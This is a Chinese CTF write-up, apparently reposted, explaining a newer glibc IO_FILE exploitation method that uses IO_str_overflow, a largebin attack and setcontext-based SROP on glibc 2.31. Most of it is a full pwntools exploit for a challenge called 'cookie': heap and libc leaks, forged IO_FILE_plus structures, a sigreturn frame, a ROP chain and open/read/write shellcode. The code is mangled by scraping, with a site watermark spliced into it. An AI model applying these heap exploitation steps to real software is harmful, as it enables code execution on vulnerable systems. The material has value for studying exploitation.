前言
原本想在5月底写这篇文章的,但是由于一些特殊的原因一直拖到现在,该篇文章主要讲了新版本下的io_file攻击,该种攻击手法可以实现非预期堆块的申请、释放和填充以及实现glibc2.29往上版本的srop攻击(搭配largebin attrack效果更佳)
攻击原理
在以前版本的IO_FILE攻击普遍上采用的是劫持IO函数的_chain字段为伪造的IO_FILE_plus然后进行利用,其中伪造的IO_FILE_plus的vtable一般是io_str_overflow这种函数,而新版本的IO_FILE攻击也不例外,首先我们看一下libc2.32上的io_str_overflow函数
_IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);fp->_IO_write_ptr = new_buf +原由网 (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;fp->_IO_write_end = fp->_IO_buf_end;}}
if(!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c;if(fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr;returnc; }
可以看到程序里面有malloc,memcpy,free等函数,并且参数我们都可以控制因此可以利用这一点来进行非预期的堆块申请释放和填充,而且我们看一下IO_str_overflow的汇编代码可以看到一个有意思的位置:
可以看到在调用malloc之前的 0x7ffff7e6eb55位置 rdx被赋值为 [rdi+0x28],而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx,因此我们可以通过这个位置来进行新版下的setcontext,进而实现 srop,具体做法是利用非预期地址填充将malloc_hook填充为setcontext,这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址,然后在后面malloc的时候会触发setcontext,而此时rdx已经可控,因此就可以成功实现srop
综上可知参数对应关系为:
glibc2.30下的largebin attrack
首先看一下源码
/* maintain large bins in sorted order */if(fwd != bck) {/* Or with inuse bit to speed comparisons */size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));if((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;
victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}else{assert (chunk_main_arena (fwd));while((unsigned long) size < chunksize_nomask (fwd)) {fwd = fwd->fd_nextsize;assert (chunk_main_arena (fwd));}
if((unsigned long) size == (unsigned long) chunksize_nomask (fwd))/* Always insert in the second position. */fwd = fwd->fd;else{victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;if(__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ( "malloc: largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;if(bck->fd != fwd) malloc_printerr ( "malloc: largebin double linked list corrupted (bk)"); }}elsevictim->fd_nextsize = victim->bk_nextsize = victim;}
mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;
可以看到在将unsortedbin放入largbin的时候,程序在unsortedbin size > largbin size的时候加了一个检查
而这个位置正是我们平时常用的位置,但是同时可以看到在size小于的时候没有加这个检查,因此我们可以通过这一点来进行glibc2.30下的largebin attrack,具体做法是首先在largbin中添加一个堆块,同时释放一个比它小并且在同意index的堆块进unsortedbin,改变largbin的bk_nextsize为targetaddr-0x20,然后我们申请一个free之后可以放入unsortedbin的堆块,这是会将unsortedbin放入largbin,并执行下面的流程
而largbin->_bk_nexsize已经被劫持成了targetaddr-0x20了,因此会像targetaddr-0x20->fd_nextsize写入largbin堆块的值,即向targetaddr写入堆地址,然后我们free我们申请的这个堆块的时候就会和剩下的unsortedbin堆块合并,重新放入unsortedbin中,达到复用的效果
攻击流程
此种方法一般结合largebin attrack,因为largebin attrack可以实现任意地址填充堆地址,因此我们可以利用largebin attrack将io函数的_chain字段劫持为堆地址,然后当程序退出的时候会刷新程序流此时会进入我们伪造的io_file中实现我们的攻击,下面我们用我出的一个例题来具体体会一下该方法的威力
练习
此题为HWS – cookie,由于一些特殊原因就暂不提供附件了,师傅们可以根据分析写一个类似的题目
分析:
该题为glibc2.31,程序有add del edit show功能,在del里面有着明显的uaf漏洞,并且开了沙盒,add的时候只能申请largebin范围的堆块并且不超过0x600
利用:
我们考虑使用largebin attrack劫持stderr->_chain字段为一个堆地址并且劫持global_max_fast为堆地址用来构造chunkoverlapping,通过chunkoverlapping在0xa0的bin中留下两个堆块,其中一个是malloc_hook,然后我们利用io_file的非预期堆块申请申请到malloc_hook同时用非预期填充将malloc_hook填充为setcontext,这样在进入下一个fake IO_FILE的时候就会触发srop进而orw出flag,由此我们需要构造三个fake IO_FILE_plus,前两个用来申请到malloc_hook并且将malloc_hook填充为setcontext,最后一个用来设置rdx的值同时触发srop,
调试
我们进行简单的调试直观的看一下,首先我们通过chunkoverlapping来在0xa0的堆块中放入两个堆块,此时的bin:
然后我们看一下我们的fake IO_FILE_plus
Fake IO_FILE_plus1(malloc(0x90))
可以看到第二行的两个地址差22,而通过我们的size计算可以得出size = (0x90-100)/2 = 22
执行完之后:
Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)
执行之后:
可以看到已经成功将malloc_hook劫持为setcontext,接下来执行第三个IO_FILE_plus就会触发srop,orw出flag
Fake IO_FILE_plus3:(srop)
完整exp:
binary = './cookie'elf = ELF( './cookie') libc//www.58yuanyou.com = elf.libccontext.binary = binary
DEBUG = 1ifDEBUG: p = process(binary)else: host = sys.argv[ 1] port = sys.argv[ 2] p = remote(host,port)o_g = [ 0x45216, 0x4526a, 0xf02a4, 0xf1147] magic = [ 0x3c4b10, 0x3c67a8, 0x846c0, 0x45390] #malloc,free,realloc,systeml64 = lambda:u64(p.recvuntil( "x7f")[ -6:].ljust( 8, "x00")) l32 = lambda:u32(p.recvuntil( "xf7")[ -4:].ljust( 4, "x00")) sla = lambdaa,b :p.sendlineafter(str(a),str(b)) sa = lambdaa,b :p.sendafter(str(a),str(b)) lg = lambdaname,data : p.success(name + ": 0x%x"% data) se = lambdapayload: p.send(payload) rl = lambda: p.recv sl = lambdapayload: p.sendline(payload) ru = lambdaa :p.recvuntil(str(a)) defcmd(idx): sla( ">>",str(idx)) defadd(size,payload): cmd( 1) sla( "Size:n",str(size)) sa( "Content:n",payload) defshow(idx): cmd( 3) sla( "Index:n",str(idx)) deffree(idx): cmd( 2) sla( "Index:n",str(idx)) defedit(idx,payload): cmd( 4) sla( "Index:n",str(idx)) sa( "Content:n",payload) defss: gdb.attach(p)pausedefexp: add( 0x458, "aaaa") add( 0x500, "aaaa") add( 0x468, "aaaa") add( 0x500, "aaaa") #3add( 0x500, "aaaa") #4add( 0x500, "aaaa") #5add( 0x500, "aaaa") #6add( 0x500, "aaaa") #7add( 0x500, "aaaa") #8#leak libc_basefree( 2) show( 2) libc_base = l64-libc.sym[ '__malloc_hook'] -0x10-96lg( "libc_base",libc_base) #put chunk2 into largebinadd( 0x600, "aaaa") #9#leak heap_baseedit( 2, "a"* 0x19) show( 2) ru( "a"* 0x18) heap_base = u64(p.recv( 6).ljust( 8, "x00")) -0xc61lg( "heap_base",heap_base) #put chunk0 into unsortedbinfree( 0) #hijack stderr->_chain = chunk2edit( 2,p64( 0)* 3+p64( 0x1ec628+libc_base -0x20)) #stderr->_chainadd( 0x448, "aaa") #10free( 10) #hijack global_max_fast = chunk2edit( 2,p64( 0)* 3+p64( 0x1eeb80+libc_base -0x20)) #global_max_fastadd( 0x448, "aaa") #11#chunk overlappingedit( 3, "a"* 0x40+p64( 0)+p64( 0x511)) edit( 4, "a"* 0x30+p64( 0)+p64( 0x21)* 10) free( 3) edit( 3,p64(heap_base+ 0x10c0)) add( 0x500, "aaa") add( 0x500, "ddd") #13edit( 4, "a"* 0x90+p64( 0)+p64( 0x471)) edit( 13, "a"* 0x4b0+p64( 0)+p64( 0xa1)) #fastbin attrackfree( 4) edit( 4,p64(libc.sym[ "__malloc_hook"]+libc_base -0x10)+p64( 0)) free( 4) edit( 4,p64(libc.sym[ "__malloc_hook"]+libc_base -0x10)+p64( 0)) """tcachebins0xa0 [ 2]: 0x56074fb96590 —▸ 0x7f116d446b60 (__memalign_hook) —▸ 0x7f116d2f8570 (memalign_hook_ini) ◂— ...fastbins
"""payload = p64( 0x580dd+libc_base)+p64( 0x21) #setcontextedit( 0,payload* 50) #malloc(0x90)payload = p64( 0)* 2+p64( 0)+p64(heap_base+ 0x29d0)+p64( 0) #writepayload += p64(heap_base+ 0x10+ 0x290)+p64(heap_base+ 22+ 0x10+ 0x290)+p64( 0)* 4payload += p64(heap_base+ 0x1a90)+p64( 0)+p64( 0)+ "x00"* 8payload += p64( 0)* 4+ "x00"* 48payload += p64( 0x1ed560+libc_base) edit( 2,payload) #malloc(0x90) && set malloc_hook = setcontextpayload = p64( 0)* 2+p64( 0)+p64(heap_base+ 0x29d0)+p64( 0) #writepayload += p64(heap_base+ 0x30+ 0x290)+p64(heap_base+ 22+ 0x30+ 0x290)+p64( 0)* 4payload += p64(heap_base+ 0x1fa0)+p64( 0)+p64( 0)+ "x00"* 8payload += p64( 0)* 4+ "x00"* 48payload += p64( 0x1ed560+libc_base) edit( 5,payload) #trigger && rdx = QWORD原由网 PTR [rdi+0x28] = heap_base+0x29d0payload = p64( 0)* 2+p64( 0)+p64(heap_base+ 0x29d0)+p64( 0) #writepayload += p64(heap_base+ 0x50+ 0x290)+p64(heap_base+ 22+ 0x50+ 0x290)+p64( 0)* 4payload += p64(heap_base+ 0x1fa0)+p64( 0)+p64( 0)+ "x00"* 8payload += p64( 0)* 4+ "x00"* 48payload += p64( 0x1ed560+libc_base) edit( 6,payload) # ssfree_hook = libc_base+libc.sym[ "__free_hook"] free_hook1 = free_hook& 0xfffffffffffff000syscall = libc_base+ 0x0000000000066229#fakeframeframe = SigreturnFrameframe.rdi = 0frame.rsi = free_hook1frame.rdx = 0x2000frame.rsp = free_hook1frame.rip = syscalledit( 8,str(frame))
poprdi = 0x0000000000026b72+libc_base poprsi = libc_base+ 0x0000000000027529pop2rdx = libc_base+ 0x000000000011c1e1poprax = libc_base+ 0x000000000004a550
#mprotect(free_hook1,0x2000,7) && orw shellcodepayload = [poprdi,free_hook1,po原由网prsi, 0x2000,pop2rdx, 0x7, 0] payload += [poprax, 10,syscall,free_hook1+ 0x58]
sc = shellcraft.open( "flag", 0) sc += shellcraft.read( "rax",free_hook1+ 0x300, 0x40) sc += shellcraft.write( 1,free_hook1+ 0x300, 0x40) cmd( 5)
p.send(flat(payload)+asm(sc))p.interactiveif__name__ == "__main__": exp
总结
该方法我觉得作用很大,可以在功能不够用的时候或存在限制的时候实现非预期申请释放和填充堆块,用的熟练的话可以达到意想不到的效果